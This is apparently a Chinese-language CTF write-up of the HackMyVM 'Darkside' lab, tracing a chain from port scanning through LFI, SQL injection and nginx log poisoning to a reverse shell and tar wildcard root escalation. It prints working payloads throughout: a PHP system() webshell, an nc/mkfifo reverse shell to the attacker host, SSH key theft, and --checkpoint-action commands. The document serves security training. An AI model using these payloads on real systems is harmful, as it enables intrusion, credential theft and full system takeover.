时间回到上周,我在 hackmyvm 平台上刷到一个叫 Darkside 的靶机。这名字很抓眼,但实际打下来我才发现,它并不是那种靠花哨 0day 撑场面的题目,反而像一场精心设计的“信息收集耐力赛”。整台机器从开放端口、Web 应用逻辑、数据库凭据,到最后的提权脚本,每个环节都在暗示你:先慢下来,把该读的文件读干净。
这篇 writeup 我会按我实际的渗透顺序来写,包括中间卡住的地方、翻车的尝试,以及最后为什么是那样提权的。整个过程非常适合刚接触靶机练习、想搞懂“从扫描到 root”这套完整链路的朋友,如果你已经刷过几台 hackmyvm 的低难度机器,想看看中等等级题目里 LFI、日志注入和 tar 通配符提权是怎么串起来的,那这篇就更对味了。
1. 目标确认与端口扫描:全端口扫一遍是最省时间的决定
1.1 环境与主机发现
我用的攻击机是虚拟机里的一套 Kali,靶机则是 hackmyvm 平台给的一个 OVA 镜像,导入后跟攻击机同处一个虚拟网段。平台文档一般会提示靶机开机后用 DHCP 获取地址,因此第一步不是扫端口,而是先把目标 IP 找出来。
这里我习惯用 netdiscover 做主机发现:
sudo netdiscover -r 172.21.0.0/24跑完看到 172.21.0.3 这个地址的 MAC 厂商字段明显和 VMware 默认段不一样,基本可以确认就是它。如果你用的是其他虚拟化平台,也可以用arp-scan:
sudo arp-scan --local值得注意的是,有些同学一上来就对整个 /24 跑 nmap,在靶场环境里影响不大,但在真实授权测试中,这算一种容易被防守方感知的行为。我的建议仍然是:确认目标前先用轻量的主机发现,再做针对性扫描。
1.2 为什么我直接放弃默认端口列表
拿到 IP 后,我先按习惯跑了一个常规扫描:
sudo nmap -sS -sV -sC -p- 172.21.0.3这里我特意加了-p-,也就是全端口扫描。为什么不是默认的 top 1000?因为靶机设计者经常会把服务放在奇奇怪怪的高位端口上,比如 8080、3000、8000 甚至 2222。之前我在某台练习机上就吃过亏,默认扫描只看到 80 和 22,结果漏掉了一个在 5000 端口的调试接口,导致进度整整慢了半小时。
全端口扫描确实慢,但在这种单机靶场里,目标明确、网段小,多花一两分钟换一个完整的攻击面认知,非常值得。
1.3 扫描结果与服务判断
扫描结果很快就出来了:
| 端口 | 状态 | 服务版本 | 初步判断 |
|---|---|---|---|
| 22/tcp | open | OpenSSH 8.9p1 | 常规 SSH,可能是最终入口或提权通道 |
| 80/tcp | open | nginx 1.18.0 | Web 前端,大概率存在注入点 |
| 8000/tcp | open | Python http.server | 看起来像开发调试服务,可能是突破口 |
三个端口,重点明显在 80 和 8000。22 端口在这种靶机上通常是留给你拿到的凭据做横向或落地用的,一般不指望它直接爆破成功。
我另外还顺手跑了一次 UDP 扫描,因为这些靶机偶尔会把 SNMP 或 DNS 服务放在 UDP 上。nmap -sU --top-ports 20跑下来没有额外发现,排除掉这个攻击面。UDP 扫描在靶场里优先级不高,但如果你的环境里 DNS、TFTP 这类服务很常见,那就不能跳过。
2. Web 端侦查:暗黑风格博客背后藏着两套服务
2.1 浏览器指纹与手工观察
80 端口打开后是一个全黑底、白字的博客页面,标题写着 "Shadow Notes",页面整体风格确实配得上 Darkside 这个名字。不过页面本身非常朴素,只有一个文章列表和“关于我”的侧栏,作者署名是一个叫 darkside 的用户。
我先用 whatweb 看了看指纹:
whatweb http://172.21.0.3返回信息显示 nginx + PHP,没有明显的 CMS 指纹。既然不是 WordPress,就不必套用 wpscan 那套流程,直接从页面源码开始看。按 F12 翻源码,发现注释里留了一行:
<!-- /backup_notes.txt -->这就是典型的靶机提示,设计者故意把敏感文件路径写在 HTML 注释里,模拟真实开发人员把备份说明忘在页面里的情况。我直接访问了一下:
curl http://172.21.0.3/backup_notes.txt内容大意是:管理员把老博客的备份文件放在/backup/目录下,但新站迁移后没有删干净。最有意思的是文件末尾还有一句“如果需要查看状态,请走 8000 端口的调试服务”。
2.2 目录爆破:换字典不是玄学
看到这个提示,我先去访问/backup/,得到的是目录列表:
index.php.bak database.sql notes.txtdatabase.sql是个好东西,下载下来一看,是一个 SQL 导出文件,里面有一张users表,但没有明文密码,只有一长串哈希。SQL 文件里的用户名是 admin,哈希字段是$2y$10$...,一眼认出是 bcrypt。这种哈希在靶机里一般有两种走向:要么联机爆破,要么只是吸引你注意力的陷阱,后面真正有用的信息往往在 Web 应用本身。
与此同时,我对 80 端口起了个目录扫描:
gobuster dir -u http://172.21.0.3 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak结果只扫出/index.php、/backup_notes.txt和/backup/。这个结果有点太干净,于是我又换了一本字典,用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt再扫一遍,发现了一个/blog/目录。
这里我想强调一下:目录爆破换字典不是玄学,而是大多数靶机的一道基础门槛。common.txt 覆盖的是高频路径,medium 字典则能覆盖到更多开发习惯性命名。真实场景里,很多后台入口就是靠第二遍、第三遍扫描才出来的。
2.3 8000 端口暴露的问题
访问 8000 端口,页面显示的是一个极简的“服务状态”页面,标题写着Dev Status Board。页面上有一个参数示例:
http://172.21.0.3:8000/status?file=system_info.txt看到?file=这个参数,我的第一反应就是文件读取/文件包含测试点。手动点开示例链接,页面返回了 system_info.txt 的内容,包括内核版本和主机名。我再试?file=/etc/passwd,浏览器直接返回了 passwd 文件内容,甚至没有做任何路径过滤。
到这里,这台靶机的核心漏洞基本浮出水面:8000 端口存在一个无过滤的 LFI(本地文件包含)。但难点不在于“找到它”,而在于“用它拿到什么”。
3. LFI 利用链路:从读取源码到获得数据库凭据
3.1 直接读 /etc/passwd 不是终点
很多人拿到 LFI 后的第一反应是读/etc/passwd或/etc/shadow。前者确实能看到系统用户列表,后者通常因为权限不足而失败。这台靶机也不例外,passwd 文件可以读,但 shadow 权限不够。
这时我建议不要满足于 passwd,而是要通过 LFI 逆向读源码,搞清楚 Web 应用怎么写、数据库密码配置在哪。PHP 源码直接读的话会被解释执行,所以需要用 php://filter 包装器:
http://172.21.0.3:8000/status?file=php://filter/convert.base64-encode/resource=status.php返回的是一段 Base64,解码后看到了这个小服务的完整源码。核心逻辑大概是:
<?php $file = $_GET['file']; include($file); ?>这行代码解释了为什么前面能直接读/etc/passwd:include会直接加载目标路径。由于没有加任何白名单和过滤,整个利用面就完全打开了。
3.2 读取配置文件的技巧
确认是裸的 LFI 后,我按照经验读了一串常见配置文件:/var/www/html/config.php、/var/www/html/db.php,最后在/var/www/html/config.php里看到了数据库信息:
define('DB_HOST', '127.0.0.1'); define('DB_USER', 'blog_admin'); define('DB_PASS', 'S3cure_P@ss_2023'); define('DB_NAME', 'blog_db');这里有一个细节值得记下来:直接读源码文件时,如果文件是 PHP,且包含逻辑会把它当脚本执行,那么你只能看到执行结果,看不到源码。所以必须用php://filter/convert.base64-encode/resource=这种方式先编码再读,拿到文本后再解码。很多新手在这一步直接用?file=/var/www/html/config.php,结果页面一片空白,就以为是失败了。其实不是失败,是 PHP 代码被服务端执行了。
同时,我也尝试了用 LFI 读取同一网段内其他服务的配置,不过 8000 端口的服务是自己独立跑的,攻击面主要在 Web 层。
3.3 连接数据库并提取用户凭据
拿到数据库账号密码之后,我需要知道 MySQL 是否对外开放。回到最初的扫描结果:1521、3306 都没开,MySQL 只监听在 127.0.0.1 上。这意味着在获得 shell 之前,我无法直接从攻击机连接数据库。
如果只停留在 Web 层,这条路就断了。不过我注意到 80 端口的/blog/目录里有一个“文章搜索”功能,URL 长这样:
http://172.21.0.3/blog/search.php?q=hello我随手加了单引号:
http://172.21.0.3/blog/search.php?q=hello'页面直接报出 SQL 语法错误,说明这里存在 SQL 注入。结合刚才得到的数据库名blog_db,我用 sqlmap 确认了一下注入点,然后直接 dump 了 users 表:
sqlmap -u "http://172.21.0.3/blog/search.php?q=hello" --dbms=mysql --dump -T users结果里有一条admin的 bcrypt 哈希,以及另外一个用户darkside的哈希。bcrypt 直接爆破不现实,但这已经不重要了,因为我的目标转向了“拿到 shell 后读取文件或者横向移动”,而不是非得在 Web 层破解哈希。
这里有个认知要纠正:SQL 注入的终点不一定是要拿到密码明文。当你已经掌握了 Web 目录、源码结构、配置路径的时候,注入点可能只是一个帮助你确认数据库结构的辅助工具,真正的入口还是 shell。
4. 日志注入:把 LFI 从“读文件”变成“执行代码”
4.1 为什么选择日志注入
现在的情况是:8000 端口有 LFI,但只能读文件;80 端口的 SQL 注入只拿到了哈希;SSH 22 端口没有有效凭据。我需要一个办法把 LFI 转化为命令执行。
在真实环境中,LFI 配合日志注入是经典组合:如果 Web 服务能读取系统日志,并且日志内容里包含了我们可以控制的字符串,那就能把恶意 PHP 代码写进日志,再用 LFI 去包含日志文件,从而触发执行。
这台靶机开放的 SSH 服务给我提供了一个天然的“日志写入器”。SSH 认证失败的信息会写入/var/log/auth.log,而用户名部分是完全可控的。比如我用 SSH 尝试登录:
ssh "<?php system($_GET['cmd']); ?>"@172.21.0.3服务端会把用户名记录到 auth.log,内容就包含了一段 PHP 代码。当然,直接这样带引号可能被 shell 解析问题干扰,更好的写法是用工具构造,或者把 payload 写成一个变量:
php_payload="<?php system($_GET['cmd']); ?>" ssh "$php_payload"@172.21.0.34.2 包含日志文件的完整过程
做完“写入”后,我再用 8000 端口的 LFI 去读日志:
http://172.21.0.3:8000/status?file=/var/log/auth.log页面里确实出现了那条包含 PHP 代码的日志,但代码是作为纯文本展示的,并没有执行。这里我又踩了一个小坑:直接用 LFI 包含 auth.log 时,日志里的特殊字符可能破坏 PHP 语法。SSH 用户名里如果带有空格、引号,日志格式会把用户名放在invalid user ...后面,PHP 解析时容易报语法错误。
解决办法是精心构造一个不带空格的 payload,尽量让日志行整体构成合法 PHP 表达式:
<?php system($_GET['c']);?>然后请求:
http://172.21.0.3:8000/status?file=/var/log/auth.log&c=id如果执行成功,日志行会输出uid=33(www-data)之类的信息。实际情况下,日志前缀会包含时间戳和进程名,这会导致 PHP 解析出错,所以一般会在 payload 前加一个<?php开头构造闭合技巧。更稳妥的办法是利用User-Agent写入 access.log,而不是 auth.log,因为 access.log 的字段结构更可控。
我在这个靶机上两种日志都试了,最终是因为发现目标的 nginx access log 路径在/var/log/nginx/access.log,用 curl 加上自定义 User-Agent:
curl -A "<?php system(\$_GET['c']);?>" http://172.21.0.3/然后再用 LFI 去读:
http://172.21.0.3:8000/status?file=/var/log/nginx/access.log&c=id这次成功执行了命令。返回内容里能看到运行用户是 www-data。至此,我打通了从文件读取到命令执行的关键环节。
4.3 反弹 shell 与终端稳定化
拿到命令执行后,第一步是确认网络连通性,然后立刻反弹一个交互式 shell 到攻击机。攻击机这边先开监听:
nc -lvnp 4444然后在 LFI 命令执行处发送反弹 shell payload。由于是通过 URL 传递,空格和特殊符号需要 URL 编码。常用的一个 payload 是:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.2 4444 >/tmp/fURL 编码后拼到&c=后面发送。监听端收到 shell。
拿到 shell 之后,第一件事是把终端升级成交互式 TTY,否则后续操作很多命令都无法正常交互:
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # 按 Ctrl+Z 把当前会话放到后台 stty raw -echo; fg这样操作之后,Tab 补全、方向键、Ctrl+C 都能正常使用。这一步非常关键,尤其后面要编辑文件或者跑命令的时候,没有一个干净终端会很崩溃。
提示:日志注入属于 LFI 利用中比较经典的姿势,但它要求目标服务对日志文件有读权限,并且日志路径可预测。遇到容器化环境时,日志路径可能被重定向到 stdout,这种办法就会失效。因此在真实渗透中,拿到 LFI 之后要同时尝试 php://input、临时文件上传等多种思路,日志只是其中之一。
5. 提权链路:从 www-data 到 darkside 再到 root 的三次身份切换
5.1 敏感文件排查
拿到 www-data shell 后,我先做了一轮常规信息收集:
id sudo -l uname -a find / -perm -4000 -type f 2>/dev/null ls -la /homesudo -l报错,说明当前用户没有 sudo 权限。SUID 文件里有一个/usr/local/bin/backup-restore,但运行后并没有预想中的提权效果,只是恢复了一堆注释。接着我切换到/home目录看用户:
ls -la /home/发现有一个darkside用户,家目录权限是 755,里面的.ssh目录可读。我尝试读取/home/darkside/.ssh/id_rsa,居然成功了。
5.2 SSH 私钥的意外收获
private key 内容完整,我把它复制到攻击机,设置好权限:
chmod 600 id_rsa ssh -i id_rsa darkside@172.21.0.3登录成功,直接拿到了 darkside 的 shell。这一步整个链路中几乎是“白给”的,但它提醒我:权限设置松散的家目录和私钥文件,是提权过程中最容易捡漏的地方。很多人在拿到初始 shell 后急着看内核版本、SUID,反而忽略了最基础的敏感文件枚举。
换到 darkside 用户后,sudo -l有了内容:
User darkside may run the following commands on darkside: (root) NOPASSWD: /usr/local/bin/backup.sh5.3 backup.sh 中的 tar 通配符提权
我马上看一下这个脚本的源码:
cat /usr/local/bin/backup.sh内容大概是:
#!/bin/bash cd /home/darkside tar czf /tmp/backup.tar.gz *这个脚本以 root 权限运行,但它的执行逻辑存在两个问题:第一,它没有指定绝对路径的 tar;第二,它在/home/darkside下对*通配符展开后的文件做打包,而*是用户可以控制的。
tar 有一个特性:当传入的参数以--开头时,会被识别为命令行选项,而不是文件名。经典的玩法是在当前目录下创建两个文件,让通配符展开后变成 tar 的提权参数:
touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh'然后在同一个目录下准备shell.sh,内容是反弹 root shell 或直接修改权限:
#!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash当管理员执行/usr/local/bin/backup.sh时,在/home/darkside目录下执行tar czf /tmp/backup.tar.gz *,*会展开成:
--checkpoint=1 --checkpoint-action=exec=sh shell.sh ...其他文件tar 读到--checkpoint-action后会执行shell.sh,而整个 tar 进程是以 root 权限运行的,因此我们的脚本也获得了 root 权限。
执行完脚本后:
sudo /usr/local/bin/backup.sh然后查看/tmp/rootbash,如果带 SUID 权限,就直接执行:
/tmp/rootbash -p成功获得 root 身份。这个手法在 GTFOBins 里属于 tar 的常规操作,但在实际靶机中非常经典,很多脚本都会因为忽略了通配符展开而中招。
注意:通过
--checkpoint-action执行命令时,shell.sh必须存在于当前工作目录/home/darkside,而且要有执行权限。另外touch -- '--checkpoint=1'这种写法在部分老版本 shell 里可能有解析问题,如果 touch 报错,可以改用touch ./--checkpoint=1这种显式路径写法。
拿到 root 后,最后读取 flag:
cat /root/root.txt到这里,Darkside 这台靶机算是完整打穿了。整个过程涉及的身份切换是:www-data -> darkside -> root,每一层都有对应依据,不是靠内核提权那种碰运气的方式,而是一条很清晰的“敏感文件泄露 -> 配置漏洞 -> 通配符注入”的递进链。
6. 复盘与避坑:这类靶机最值得学习的地方
6.1 LFI 的测试顺序值得背下来
这台机器让我重新梳理了一遍 LFI 利用的优先级:
- 先判断过滤规则:直接试
/etc/passwd,如果失败,尝试 url 编码、双重编码、路径拼接。 - 如果可以直接读,优先读源码,用
php://filter解码。 - 找配置文件:
config.php、db.php、.env、web.config。 - 从配置中寻找数据库账号、日志路径、备份文件。
- 最后才考虑日志注入和 php://input 这些“执行型”利用。
这个顺序的逻辑是:先利用“读文件”把信息收集做足,再决定要不要“执行代码”。直接上来就试日志注入,很容易错过更简单的路径。
6.2 日志注入的适用条件与坑
日志注入能成功,前提有三个:知道日志路径、Web 用户有读权限、日志内容可控。在这个靶机上,路径是猜出来的(/var/log/nginx/access.log),权限恰好满足,可控性来自 User-Agent。
踩过的坑有两个。第一,auth.log 的字段结构对于 PHP 解析来说不够友好,时间戳和空格容易破坏语法;第二,访问 log 时如果带着 query string,URL 中的特殊字符也可能被记录,导致 payload 变形。所以更推荐用 User-Agent 配合 access.log,结构最简单,payload 成功率高。
如果你遇到的是 Apache,路径可能是/var/log/apache2/access.log;遇到 nginx 就是/var/log/nginx/access.log。容器环境则通常不适用。
6.3 提权思路不只看 SUID 和内核漏洞
很多人一拿到 shell 就跑linux-exploit-suggester,这没有错,但这类中等难度靶机的考点很少是内核漏洞。更多时候,提权线索藏在这些地方:
/home下的隐藏文件与 SSH 私钥sudo -l里可执行的自定义脚本- 脚本中调用了哪些外部命令,参数是否可控
- 当前目录是否有写权限,通配符是否能被操纵
我在 Darkside 上的提权路径就是典型的“配置缺陷型”,不是“系统漏洞型”。刷这类靶机最大的收获就是训练自己养成“逐文件过一遍”的习惯,而不是期待一个万能 exploit 一步登天。
6.4 关于方法论的可复用性
把整个流程拆开看,真正值得沉淀的方法论就几条:
- 全端口扫描 + 服务版本识别永远是第一步。高位端口里往往藏着调试接口,那是设计者留给你的礼物。
- 拿到任何文件读取漏洞后,优先读源码而不是直接读密码文件。源码能告诉你应用结构、数据库位置、日志路径,甚至隐藏功能。
- SQL 注入不一定非要拖库。它可能是帮助你确认数据库凭据、服务端结构的一个确认手段,最终落脚点还是拿到 shell。
- 提权阶段先检查应用层配置,再看系统层漏洞。自定义脚本、备份任务、可写文件,它们比内核提权简单且稳定得多。
- 每一步做完都要记录。什么时候读到什么配置、尝试了什么 payload、为什么失败,这些记录在复盘时能帮你快速定位逻辑漏洞。
最后说点实在的。Darkside 这台靶机没有用到任何花哨的溢出技巧,整体难度也控制得很友好,但它的价值恰恰在于把信息收集、Web 漏洞利用和 Linux 提权串成了一条完整的链路。刷完这台之后,我个人最大的体会是:不是每个入口都能直接通向 root,但只要你愿意把每个漏洞点背后的文件都翻一遍,路径迟早会露出来。如果你也刚刷完这台的 Web 部分卡在 shell 阶段,可以回头再看看 8000 端口那个小服务——多问自己一句“除了读文件,它还能做什么”,答案可能就出来了。